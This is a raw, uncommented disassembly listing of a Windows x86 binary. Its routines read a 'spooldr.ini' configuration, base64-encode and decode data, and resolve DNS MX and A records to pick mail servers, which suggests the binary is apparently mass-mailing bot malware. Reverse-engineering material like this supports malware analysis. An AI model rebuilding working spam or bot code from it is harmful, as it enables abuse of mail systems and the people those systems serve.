sub_40B693 push dword ptr [esi+0Ch] call ds:dword_4180E8 push esi call sub_40D0B6 pop ecx lea ecx, [ebp+var_128] call sub_40B787 pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40BD25: ; CODE XREF: sub_40BC77+5Aj mov eax, [esi+8] mov byte ptr [eax], 1 push dword ptr [esi+4] mov ecx, edi push dword ptr [esi] call sub_40A627 cmp byte ptr [edi+0E8h], 0 jz short loc_40BD46 cmp dword ptr [edi+8], 0 jnz short loc_40BD62 loc_40BD46: ; CODE XREF: sub_40BC77+C7j push dword ptr [edi+14h] mov ecx, edi push dword ptr [esi+4] push dword ptr [esi] call sub_40A64B jmp short loc_40BD62 ; --------------------------------------------------------------------------- loc_40BD57: ; CODE XREF: sub_40BC77+52j push dword ptr [ebx+4] mov ecx, edi push eax call sub_40A7E2 loc_40BD62: ; CODE XREF: sub_40BC77+45j ; sub_40BC77+5Fj ... push 1 mov ecx, ebx call sub_409FC4 loc_40BD6B: ; CODE XREF: sub_40BC77+3Bj push 0Ah lea ecx, [ebp+var_128] call sub_40A0C2 mov ebx, eax test ebx, ebx jnz loc_40BCB7 jmp loc_40BCF7 sub_40BC77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD87 proc near ; CODE XREF: sub_40C149+49p ; sub_40C29A+41p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 48h push ebx push esi mov ebx, ecx push edi lea ecx, [ebp+var_48] call sub_409BF1 lea eax, [ebx+30h] push eax call ds:dword_4180DC push 19h pop edi push edi push edi push 1 lea eax, [ebp+var_48] push eax push [ebp+arg_0] lea eax, [ebx+18h] lea esi, [ebx+28h] push eax mov ecx, esi call sub_40A260 sub edi, [ebp+var_44] mov esi, [esi] jmp short loc_40BDFC ; --------------------------------------------------------------------------- loc_40BDC7: ; CODE XREF: sub_40BD87+77j test edi, edi jle short loc_40BE00 test esi, esi jz short loc_40BDD3 mov eax, [esi] jmp short loc_40BDD5 ; --------------------------------------------------------------------------- loc_40BDD3: ; CODE XREF: sub_40BD87+46j xor eax, eax loc_40BDD5: ; CODE XREF: sub_40BD87+4Aj cmp byte ptr [eax+1Dh], 0 jz short loc_40BDF5 cmp byte ptr [eax+1Ch], 2 jnb short loc_40BDF5 push dword ptr [eax+14h] lea ecx, [ebp+var_48] push dword ptr [eax+10h] push eax call sub_40A3A4 test al, al jz short loc_40BDF5 dec edi loc_40BDF5: ; CODE XREF: sub_40BD87+52j ; sub_40BD87+58j ... test esi, esi jz short loc_40BE00 mov esi, [esi+4] loc_40BDFC: ; CODE XREF: sub_40BD87+3Ej test esi, esi jnz short loc_40BDC7 loc_40BE00: ; CODE XREF: sub_40BD87+42j ; sub_40BD87+70j lea eax, [ebx+30h] push eax call ds:dword_4180E0 xor esi, esi push esi mov [ebp+var_C], esi call sub_40CFAE add eax, [ebp+arg_10] pop ecx mov [ebp+var_10], eax xor ecx, ecx mov eax, offset sub_40B9D7 mov [ebp+var_18], eax mov [ebp+var_14], ecx mov [ebp+var_20], ebx mov [ebp+var_24], esi mov byte ptr [ebp+arg_10+3], cl jmp loc_40BF76 ; --------------------------------------------------------------------------- loc_40BE37: ; CODE XREF: sub_40BD87+1F2j cmp byte ptr [ebp+arg_10+3], 0 jnz loc_40BF7F lea eax, [ebp+var_40] push eax call ds:dword_4180DC mov eax, [ebp+var_48] cmp eax, esi mov [ebp+var_8], eax jz loc_40BF51 cmp [ebp+arg_4], 0 setz al lea eax, [eax+eax+2] mov [ebp+var_1], al loc_40BE67: ; CODE XREF: sub_40BD87+1B7j lea eax, [ebp+var_C] push eax call ds:dword_4180E4 mov eax, [ebp+var_8] test eax, eax jz short loc_40BE7C mov edi, [eax] jmp short loc_40BE7E ; --------------------------------------------------------------------------- loc_40BE7C: ; CODE XREF: sub_40BD87+EFj xor edi, edi loc_40BE7E: ; CODE XREF: sub_40BD87+F3j push 40h call sub_40D0BB push [ebp+arg_0] mov esi, eax push esi call sub_409E90 lea eax, [esi+10h] push edi push eax call sub_409E90 mov eax, [edi+10h] mov [esi+20h], eax mov eax, [edi+14h] mov [esi+24h], eax mov al, [ebp+var_1] mov [esi+28h], al mov eax, [ebp+arg_C] mov [esi+2Ch], eax lea eax, [ebp+var_48] mov [esi+34h], eax mov eax, [ebp+arg_14] mov [esi+38h], eax mov eax, [ebp+arg_18] mov [esi+3Ch], eax lea eax, [ebp+var_C] add esp, 14h mov ecx, edi mov [esi+30h], eax call nullsub_1 push edi call sub_40D0B6 mov eax, [ebp+var_8] mov edi, [eax+4] pop ecx push eax lea ecx, [ebp+var_48] call sub_4041B2 push esi lea ecx, [ebp+var_28] mov [ebp+var_8], edi call sub_40B36C mov esi, [ebp+arg_8] cmp [ebp+var_C], esi jle short loc_40BF2D lea eax, [ebp+var_40] push eax call ds:dword_4180E0 mov eax, esi cdq sub eax, edx push 64h sar eax, 1 push eax lea eax, [ebp+var_C] push eax mov ecx, ebx call sub_40B103 lea eax, [ebp+var_40] push eax call ds:dword_4180DC mov eax, [ebp+var_48] mov [ebp+var_8], eax loc_40BF2D: ; CODE XREF: sub_40BD87+175j push 0 call sub_40CFAE cmp eax, [ebp+var_10] pop ecx jg short loc_40BF46 cmp [ebp+var_8], 0 jnz loc_40BE67 jmp short loc_40BF51 ; --------------------------------------------------------------------------- loc_40BF46: ; CODE XREF: sub_40BD87+1B1j mov ecx, ebx call sub_40B6F9 mov byte ptr [ebp+arg_10+3], 1 loc_40BF51: ; CODE XREF: sub_40BD87+CCj ; sub_40BD87+1BDj lea eax, [ebp+var_40] push eax call ds:dword_4180E0 push 64h xor esi, esi push esi lea eax, [ebp+var_C] push eax mov ecx, ebx call sub_40B103 push esi push [ebp+arg_14] mov ecx, ebx call sub_40AA1A loc_40BF76: ; CODE XREF: sub_40BD87+ABj cmp [ebp+var_44], esi jg loc_40BE37 loc_40BF7F: ; CODE XREF: sub_40BD87+B4j lea ecx, [ebp+var_48] call sub_40A168 pop edi pop esi pop ebx leave retn 1Ch sub_40BD87 endp ; =============== S U B R O U T I N E ======================================= sub_40BF8E proc near ; CODE XREF: sub_403389+B2p push 0F0h call sub_40D0BB test eax, eax pop ecx jz short loc_40BFA6 mov ecx, eax call sub_40BBB5 jmp short loc_40BFA8 ; --------------------------------------------------------------------------- loc_40BFA6: ; CODE XREF: sub_40BF8E+Dj xor eax, eax loc_40BFA8: ; CODE XREF: sub_40BF8E+16j lea ecx, [eax+68h] neg eax sbb eax, eax and eax, ecx retn sub_40BF8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFB2 proc near ; DATA XREF: .rdata:off_41C164o var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 48h push esi mov esi, ecx push edi lea eax, [esi-40h] push eax lea eax, [esi-54h] push eax lea ecx, [esi-58h] push ecx lea edi, [esi-5Ch] push edi push offset aSpooldr_ini_0 ; "spooldr.ini" lea ecx, [esi+5Ch] call sub_409866 test eax, eax jg short loc_40BFE4 xor al, al jmp loc_40C145 ; --------------------------------------------------------------------------- loc_40BFE4: ; CODE XREF: sub_40BFB2+29j push ebx lea ecx, [esi+38h] push 1 call sub_40D9FD movzx eax, word ptr [esi-58h] xor ebx, ebx push ebx push eax lea ecx, [esi+38h] call sub_40DA80 cmp eax, 0FFFFFFFFh jnz short loc_40C00B xor al, al jmp loc_40C144 ; --------------------------------------------------------------------------- loc_40C00B: ; CODE XREF: sub_40BFB2+50j push ebx lea ecx, [esi+20h] call sub_40B3A7 push ebx push ebx mov [edi], ebx push 1 mov eax, offset sub_40B29D lea edi, [esi-68h] push ebx mov [esi-60h], ebx mov [esi+80h], bl mov [ebp+var_20], eax mov [ebp+var_1C], ebx mov [ebp+var_28], edi mov [ebp+var_2C], ebx call ds:dword_4180A0 mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax lea ecx, [ebp+var_30] call sub_40B3A7 push ebx mov [ebp+var_8], ebx mov [ebp+var_1], bl call sub_40CFAE add eax, 3Ch mov [ebp+var_18], eax mov eax, offset sub_40BC77 mov [ebp+var_38], eax mov eax, [esi-40h] cmp eax, ebx pop ecx mov [ebp+var_34], ebx mov [ebp+var_40], edi mov [ebp+var_44], ebx mov [ebp+var_C], eax jz loc_40C109 jmp short loc_40C084 ; --------------------------------------------------------------------------- loc_40C081: ; CODE XREF: sub_40BFB2+14Cj mov eax, [ebp+var_C] loc_40C084: ; CODE XREF: sub_40BFB2+CDj cmp eax, ebx jz short loc_40C08F mov eax, [eax] mov [ebp+var_14], eax jmp short loc_40C092 ; --------------------------------------------------------------------------- loc_40C08F: ; CODE XREF: sub_40BFB2+D4j mov [ebp+var_14], ebx loc_40C092: ; CODE XREF: sub_40BFB2+DBj lea eax, [ebp+var_8] push eax call ds:dword_4180E4 push 10h call sub_40D0BB pop ecx mov ecx, [ebp+var_14] mov edx, [ecx+10h] mov [eax], edx mov ecx, [ecx+14h] mov [eax+4], ecx lea ecx, [ebp+var_1] mov [eax+8], ecx lea ecx, [ebp+var_8] mov [eax+0Ch], ecx push eax lea ecx, [ebp+var_48] call sub_40B36C push 64h push 14h lea eax, [ebp+var_8] push eax mov ecx, edi call sub_40B103 cmp [esi+80h], bl jz short loc_40C0E3 cmp [ebp+var_1], bl jnz short loc_40C102 loc_40C0E3: ; CODE XREF: sub_40BFB2+12Aj push ebx call sub_40CFAE cmp eax, [ebp+var_18] pop ecx jg short loc_40C102 mov eax, [ebp+var_C] cmp eax, ebx jz short loc_40C109 mov eax, [eax+4] cmp eax, ebx mov [ebp+var_C], eax jnz short loc_40C081 jmp short loc_40C109 ; --------------------------------------------------------------------------- loc_40C102: ; CODE XREF: sub_40BFB2+12Fj ; sub_40BFB2+13Bj mov ecx, edi call sub_40B6F9 loc_40C109: ; CODE XREF: sub_40BFB2+C7j ; sub_40BFB2+142j ... push 64h push ebx lea eax, [ebp+var_8] push eax mov ecx, edi call sub_40B103 push [ebp+var_10] call ds:dword_4180A8 lea ecx, [ebp+var_30] call sub_40B150 cmp [ebp+var_1], bl jz short loc_40C136 push ebx lea ecx, [esi+8] call sub_40B3DA loc_40C136: ; CODE XREF: sub_40BFB2+179j push [ebp+var_10] mov bl, [ebp+var_1] call ds:dword_4180A4 mov al, bl loc_40C144: ; CODE XREF: sub_40BFB2+54j pop ebx loc_40C145: ; CODE XREF: sub_40BFB2+2Dj pop edi pop esi leave retn sub_40BFB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C149 proc near ; DATA XREF: .rdata:0041C16Co var_48 = dword ptr -48h var_44 = dword ptr -44h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [ebp+var_10] call sub_409AC6 push [ebp+arg_8] lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_409AD5 lea ecx, [ebp+var_48] call sub_409BF1 xor ebx, ebx push ebx lea eax, [ebp+var_48] push eax push [ebp+arg_10] add esi, 0FFFFFF98h push 0C8h push [ebp+arg_C] mov ecx, esi push ebx push [ebp+arg_0] mov [ebp+arg_8], esi call sub_40BD87 cmp [ebp+var_44], ebx jle loc_40C282 push ebx mov [ebp+arg_4], ebx mov [ebp+arg_0], ebx call sub_40CFAE add eax, [ebp+arg_10] pop ecx mov [ebp+var_4], eax mov eax, offset sub_40B8DC mov [ebp+var_18], eax mov eax, [ebp+var_48] cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+var_20], esi mov [ebp+var_24], ebx mov [ebp+arg_10], eax jz loc_40C270 push edi loc_40C1D3: ; CODE XREF: sub_40C149+116j lea eax, [ebp+arg_0] push eax call ds:dword_4180E4 mov eax, [ebp+arg_10] cmp eax, ebx jz short loc_40C1E8 mov edi, [eax] jmp short loc_40C1EA ; --------------------------------------------------------------------------- loc_40C1E8: ; CODE XREF: sub_40C149+99j xor edi, edi loc_40C1EA: ; CODE XREF: sub_40C149+9Dj push 18h call sub_40D0BB mov esi, eax mov eax, [edi+10h] mov [esi], eax mov eax, [edi+14h] mov [esi+4], eax mov eax, [ebp+var_8] mov [esi+8], eax mov eax, [ebp+var_C] mov [esi+0Ch], eax lea eax, [ebp+arg_4] mov [esi+10h], eax pop ecx lea eax, [ebp+arg_0] mov ecx, edi mov [esi+14h], eax call nullsub_1 push edi call sub_40D0B6 mov eax, [ebp+arg_10] mov edi, [eax+4] pop ecx push eax lea ecx, [ebp+var_48] call sub_4041B2 push esi lea ecx, [ebp+var_28] mov [ebp+arg_10], edi call sub_40B36C mov ecx, [ebp+arg_8] push 64h push [ebp+arg_C] lea eax, [ebp+arg_0] push eax call sub_40B103 push ebx call sub_40CFAE cmp eax, [ebp+var_4] pop ecx jg short loc_40C267 cmp edi, ebx jnz loc_40C1D3 jmp short loc_40C26F ; --------------------------------------------------------------------------- loc_40C267: ; CODE XREF: sub_40C149+112j mov ecx, [ebp+arg_8] call sub_40B6F9 loc_40C26F: ; CODE XREF: sub_40C149+11Cj pop edi loc_40C270: ; CODE XREF: sub_40C149+83j mov ecx, [ebp+arg_8] push 64h push ebx lea eax, [ebp+arg_0] push eax call sub_40B103 mov ebx, [ebp+arg_4] loc_40C282: ; CODE XREF: sub_40C149+51j lea ecx, [ebp+var_48] call sub_40A168 lea ecx, [ebp+var_10] call sub_409ACD pop esi mov eax, ebx pop ebx leave retn 14h sub_40C149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C29A proc near ; DATA XREF: .rdata:0041C170o var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h push esi push edi mov edi, ecx lea ecx, [ebp+var_20] call sub_409BF1 push 20h call sub_40D0BB test eax, eax pop ecx jz short loc_40C2C3 mov ecx, eax call sub_409BF1 mov esi, eax jmp short loc_40C2C5 ; --------------------------------------------------------------------------- loc_40C2C3: ; CODE XREF: sub_40C29A+1Cj xor esi, esi loc_40C2C5: ; CODE XREF: sub_40C29A+27j push esi lea eax, [ebp+var_20] push eax push [ebp+arg_C] lea ecx, [edi-68h] push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_0] call sub_40BD87 lea ecx, [ebp+var_20] call sub_40A168 pop edi mov eax, esi pop esi leave retn 10h sub_40C29A endp ; =============== S U B R O U T I N E ======================================= sub_40C2F0 proc near ; CODE XREF: sub_402624+14Ep ; sub_408361+102p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi mov esi, [esp+4+arg_0] mov eax, esi shl eax, 2 push 3 cdq pop ecx idiv ecx test [esp+4+arg_4], 1 mov ecx, eax jnz short loc_40C313 mov eax, esi push 3 cdq pop esi idiv esi add ecx, edx loc_40C313: ; CODE XREF: sub_40C2F0+17j mov eax, ecx push 4Ch cdq pop esi idiv esi test edx, edx jz short loc_40C335 and edx, 80000003h jns short loc_40C32C dec edx or edx, 0FFFFFFFCh inc edx loc_40C32C: ; CODE XREF: sub_40C2F0+35j jz short loc_40C335 push 4 pop esi sub esi, edx add ecx, esi loc_40C335: ; CODE XREF: sub_40C2F0+2Dj ; sub_40C2F0:loc_40C32Cj test [esp+4+arg_4], 2 pop esi jnz short loc_40C341 lea ecx, [ecx+eax*2+2] loc_40C341: ; CODE XREF: sub_40C2F0+4Bj mov eax, ecx retn sub_40C2F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C344 proc near ; CODE XREF: sub_402624+176p ; sub_408361+136p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h push ebx push esi xor esi, esi cmp [ebp+arg_0], esi jz loc_40C48A mov ebx, [ebp+arg_8] cmp ebx, esi jz loc_40C48A cmp [ebp+arg_C], esi jz loc_40C48A mov eax, [ebp+arg_4] push edi push 3 cdq pop ecx idiv ecx push 4Ch pop ecx xor edi, edi push 13h mov [ebp+var_4], esi shl eax, 2 mov [ebp+var_14], edx cdq idiv ecx mov [ebp+var_8], eax cmp [ebp+var_8], esi mov [ebp+var_18], edx pop eax jl loc_40C41A mov ecx, [ebp+arg_10] and ecx, 2 mov [ebp+var_10], ecx loc_40C3A1: ; CODE XREF: sub_40C344+C7j mov ecx, [ebp+var_8] cmp [ebp+var_4], ecx jnz short loc_40C3B5 mov eax, [ebp+var_18] cdq and edx, 3 add eax, edx sar eax, 2 loc_40C3B5: ; CODE XREF: sub_40C344+63j cmp eax, esi jle short loc_40C3EE mov [ebp+var_C], eax loc_40C3BC: ; CODE XREF: sub_40C344+A8j push 3 xor ecx, ecx pop edx loc_40C3C1: ; CODE XREF: sub_40C344+8Cj mov esi, [ebp+arg_0] movzx esi, byte ptr [esi] or ecx, esi inc [ebp+arg_0] shl ecx, 8 dec edx jnz short loc_40C3C1 push 4 pop esi loc_40C3D5: ; CODE XREF: sub_40C344+A3j mov edx, ecx shr edx, 1Ah mov dl, ds:byte_41C198[edx] mov [ebx], dl inc ebx shl ecx, 6 dec esi jnz short loc_40C3D5 dec [ebp+var_C] jnz short loc_40C3BC loc_40C3EE: ; CODE XREF: sub_40C344+73j xor esi, esi cmp [ebp+var_10], esi lea edi, [edi+eax*4] jnz short loc_40C402 mov byte ptr [ebx], 0Dh inc ebx mov byte ptr [ebx], 0Ah inc ebx inc edi inc edi loc_40C402: ; CODE XREF: sub_40C344+B2j inc [ebp+var_4] mov ecx, [ebp+var_4] cmp ecx, [ebp+var_8] jle short loc_40C3A1 cmp edi, esi jz short loc_40C41A cmp [ebp+var_10], esi jnz short loc_40C41A dec ebx dec ebx dec edi dec edi loc_40C41A: ; CODE XREF: sub_40C344+4Ej ; sub_40C344+CBj ... mov eax, [ebp+var_14] cmp eax, esi jz short loc_40C424 inc eax jmp short loc_40C426 ; --------------------------------------------------------------------------- loc_40C424: ; CODE XREF: sub_40C344+DBj xor eax, eax loc_40C426: ; CODE XREF: sub_40C344+DEj cmp eax, esi jz short loc_40C480 xor edx, edx xor ecx, ecx loc_40C42E: ; CODE XREF: sub_40C344+101j cmp ecx, [ebp+var_14] jge short loc_40C43E mov esi, [ebp+arg_0] movzx esi, byte ptr [esi] or edx, esi inc [ebp+arg_0] loc_40C43E: ; CODE XREF: sub_40C344+EDj shl edx, 8 inc ecx cmp ecx, 3 jl short loc_40C42E test eax, eax jle short loc_40C461 mov esi, eax loc_40C44D: ; CODE XREF: sub_40C344+11Bj mov ecx, edx shr ecx, 1Ah mov cl, ds:byte_41C198[ecx] mov [ebx], cl inc ebx shl edx, 6 dec esi jnz short loc_40C44D loc_40C461: ; CODE XREF: sub_40C344+105j add edi, eax test byte ptr [ebp+arg_10], 1 jnz short loc_40C480 push 4 pop esi sub esi, eax test esi, esi jle short loc_40C47E push esi push 3Dh push ebx call sub_40CCD9 add esp, 0Ch loc_40C47E: ; CODE XREF: sub_40C344+12Cj add edi, esi loc_40C480: ; CODE XREF: sub_40C344+E4j ; sub_40C344+123j mov eax, [ebp+arg_C] mov [eax], edi mov al, 1 pop edi jmp short loc_40C48C ; --------------------------------------------------------------------------- loc_40C48A: ; CODE XREF: sub_40C344+Dj ; sub_40C344+18j ... xor al, al loc_40C48C: ; CODE XREF: sub_40C344+144j pop esi pop ebx leave retn sub_40C344 endp ; =============== S U B R O U T I N E ======================================= sub_40C490 proc near ; CODE XREF: sub_40C4D1+3Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] lea ecx, [eax-41h] cmp ecx, 19h ja short loc_40C4A0 add eax, 0FFFFFFBFh retn ; --------------------------------------------------------------------------- loc_40C4A0: ; CODE XREF: sub_40C490+Aj lea ecx, [eax-61h] cmp ecx, 19h ja short loc_40C4AC add eax, 0FFFFFFB9h retn ; --------------------------------------------------------------------------- loc_40C4AC: ; CODE XREF: sub_40C490+16j lea ecx, [eax-30h] cmp ecx, 9 ja short loc_40C4B8 add eax, 4 retn ; --------------------------------------------------------------------------- loc_40C4B8: ; CODE XREF: sub_40C490+22j cmp eax, 2Bh jnz short loc_40C4C1 push 3Eh pop eax retn ; --------------------------------------------------------------------------- loc_40C4C1: ; CODE XREF: sub_40C490+2Bj xor ecx, ecx cmp eax, 2Fh setnz cl dec ecx and ecx, 40h dec ecx mov eax, ecx retn sub_40C490 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C4D1 proc near ; CODE XREF: sub_401FF5+80p ; sub_4080EA+215p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push edi mov edi, [ebp+arg_0] xor eax, eax cmp edi, eax jz loc_40C56F cmp [ebp+arg_8], eax jz loc_40C56F cmp [ebp+arg_C], eax jz short loc_40C56F mov ecx, [ebp+arg_4] push ebx lea ebx, [edi+ecx] cmp edi, ebx mov [ebp+var_4], eax jnb short loc_40C562 push esi loc_40C500: ; CODE XREF: sub_40C4D1+8Ej xor edx, edx xor esi, esi mov [ebp+arg_0], edx loc_40C507: ; CODE XREF: sub_40C4D1+5Ej cmp edi, ebx jnb short loc_40C531 movsx eax, byte ptr [edi] push eax call sub_40C490 inc edi cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40C520 dec [ebp+arg_0] jmp short loc_40C528 ; --------------------------------------------------------------------------- loc_40C520: ; CODE XREF: sub_40C4D1+48j shl esi, 6 or esi, eax add edx, 6 loc_40C528: ; CODE XREF: sub_40C4D1+4Dj inc [ebp+arg_0] cmp [ebp+arg_0], 4 jl short loc_40C507 loc_40C531: ; CODE XREF: sub_40C4D1+38j push 18h pop ecx sub ecx, edx mov eax, edx cdq and edx, 7 add eax, edx sar eax, 3 shl esi, cl test eax, eax jle short loc_40C55D add [ebp+var_4], eax loc_40C54A: ; CODE XREF: sub_40C4D1+8Aj mov edx, [ebp+arg_8] mov ecx, esi shr ecx, 10h shl esi, 8 inc [ebp+arg_8] dec eax mov [edx], cl jnz short loc_40C54A loc_40C55D: ; CODE XREF: sub_40C4D1+74j cmp edi, ebx jb short loc_40C500 pop esi loc_40C562: ; CODE XREF: sub_40C4D1+2Cj mov eax, [ebp+var_4] mov ecx, [ebp+arg_C] mov [ecx], eax mov al, 1 pop ebx jmp short loc_40C571 ; --------------------------------------------------------------------------- loc_40C56F: ; CODE XREF: sub_40C4D1+Cj ; sub_40C4D1+15j ... xor al, al loc_40C571: ; CODE XREF: sub_40C4D1+9Cj pop edi leave retn sub_40C4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C574 proc near ; CODE XREF: sub_402624+27Ep ; sub_405675+BAp var_108 = dword ptr -108h var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push ebx xor ebx, ebx push ebx lea eax, [ebp+var_8] push eax push ebx push ebx push 0Fh push [ebp+arg_0] mov [ebp+var_1], bl mov [ebp+var_8], ebx call sub_4177E8 test eax, eax jl loc_40C621 mov eax, [ebp+var_8] cmp eax, ebx jz short loc_40C621 push esi push edi or edi, 0FFFFFFFFh mov edx, 0F4240h xor esi, esi loc_40C5B2: ; CODE XREF: sub_40C574+68j cmp word ptr [eax+8], 0Fh jnz short loc_40C5D8 mov ecx, [eax+18h] mov [ebp+esi*4+var_108], ecx movzx ecx, word ptr [eax+1Ch] cmp ecx, edx jge short loc_40C5CF mov edx, ecx mov edi, esi loc_40C5CF: ; CODE XREF: sub_40C574+55j inc esi cmp esi, 100h jz short loc_40C5DE loc_40C5D8: ; CODE XREF: sub_40C574+43j mov eax, [eax] cmp eax, ebx jnz short loc_40C5B2 loc_40C5DE: ; CODE XREF: sub_40C574+62j cmp esi, ebx jle short loc_40C615 cmp [ebp+arg_4], bl mov [ebp+var_1], 1 jz short loc_40C605 call sub_40CF34 dec esi imul eax, esi cdq mov ecx, 7FFFh idiv ecx mov eax, [ebp+eax*4+var_108] jmp short loc_40C60C ; --------------------------------------------------------------------------- loc_40C605: ; CODE XREF: sub_40C574+75j mov eax, [ebp+edi*4+var_108] loc_40C60C: ; CODE XREF: sub_40C574+8Fj mov ecx, [ebp+arg_8] push eax call sub_4012E7 loc_40C615: ; CODE XREF: sub_40C574+6Cj push 1 push [ebp+var_8] call sub_4177E2 pop edi pop esi loc_40C621: ; CODE XREF: sub_40C574+25j ; sub_40C574+30j mov al, [ebp+var_1] pop ebx leave retn sub_40C574 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C627 proc near ; CODE XREF: sub_402624+291p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi xor esi, esi push esi lea eax, [ebp+var_4] push eax push esi push esi push 1 push [ebp+arg_0] mov [ebp+var_4], esi call sub_4177E8 mov ecx, [ebp+var_4] cmp ecx, esi jz short loc_40C688 cmp word ptr [ecx+8], 1 jnz short loc_40C688 cmp word ptr [ecx+0Ah], 4 jb short loc_40C688 mov eax, [ecx+18h] mov esi, eax mov edx, eax shr edx, 10h and esi, 0FF0000h or esi, edx mov edx, eax and edx, 0FF00h shl eax, 10h or edx, eax push 1 shr esi, 8 shl edx, 8 push ecx or esi, edx call sub_4177E2 jmp short loc_40C696 ; --------------------------------------------------------------------------- loc_40C688: ; CODE XREF: sub_40C627+20j ; sub_40C627+27j ... push 1 push [ebp+arg_0] call sub_40DA32 pop ecx pop ecx mov esi, eax loc_40C696: ; CODE XREF: sub_40C627+5Fj mov eax, esi pop esi leave retn sub_40C627 endp ; =============== S U B R O U T I N E ======================================= sub_40C69B proc near ; CODE XREF: sub_40C6D8+30p ; sub_40C731+24p arg_0 = byte ptr 4 mov al, [esp+arg_0] mov cl, al sub cl, 30h cmp cl, 9 ja short loc_40C6B0 movsx eax, al sub eax, 30h retn ; --------------------------------------------------------------------------- loc_40C6B0: ; CODE XREF: sub_40C69B+Cj push esi xor esi, esi loc_40C6B3: ; CODE XREF: sub_40C69B+2Ej cmp al, 41h jl short loc_40C6BB cmp al, 46h jle short loc_40C6D0 loc_40C6BB: ; CODE XREF: sub_40C69B+1Aj movsx eax, al push eax call sub_40CF1B inc esi cmp esi, 2 pop ecx jl short loc_40C6B3 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_40C6D0: ; CODE XREF: sub_40C69B+1Ej movsx eax, al sub eax, 37h pop esi retn sub_40C69B endp ; =============== S U B R O U T I N E ======================================= sub_40C6D8 proc near ; CODE XREF: sub_409866+123p ; sub_409866+131p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jg short loc_40C6EA push [esp+arg_0] call sub_40CD83 pop ecx loc_40C6EA: ; CODE XREF: sub_40C6D8+6j push ebx push esi lea esi, [eax-1] xor ebx, ebx test esi, esi push edi jl short loc_40C726 sub eax, esi lea edi, ds:0FFFFFFFCh[eax*4] loc_40C6FF: ; CODE XREF: sub_40C6D8+4Cj mov eax, [esp+0Ch+arg_0] movzx eax, byte ptr [esi+eax] push eax call sub_40C69B test eax, eax pop ecx jl short loc_40C72C xor edx, edx inc edx mov ecx, edi shl edx, cl add edi, 4 imul edx, eax add ebx, edx dec esi test esi, esi jge short loc_40C6FF loc_40C726: ; CODE XREF: sub_40C6D8+1Cj mov eax, ebx loc_40C728: ; CODE XREF: sub_40C6D8+57j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40C72C: ; CODE XREF: sub_40C6D8+38j or eax, 0FFFFFFFFh jmp short loc_40C728 sub_40C6D8 endp ; =============== S U B R O U T I N E ======================================= sub_40C731 proc near ; CODE XREF: sub_40C918+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push edi mov edi, [esp+8+arg_0] push edi call sub_40CD83 mov ebx, eax test bl, 1 pop ecx jz short loc_40C749 xor eax, eax jmp short loc_40C79A ; --------------------------------------------------------------------------- loc_40C749: ; CODE XREF: sub_40C731+12j push esi xor esi, esi test ebx, ebx jbe short loc_40C767 loc_40C750: ; CODE XREF: sub_40C731+34j movzx eax, byte ptr [esi+edi] push eax call sub_40C69B test eax, eax pop ecx jl short loc_40C79D mov [esi+edi], al inc esi cmp esi, ebx jb short loc_40C750 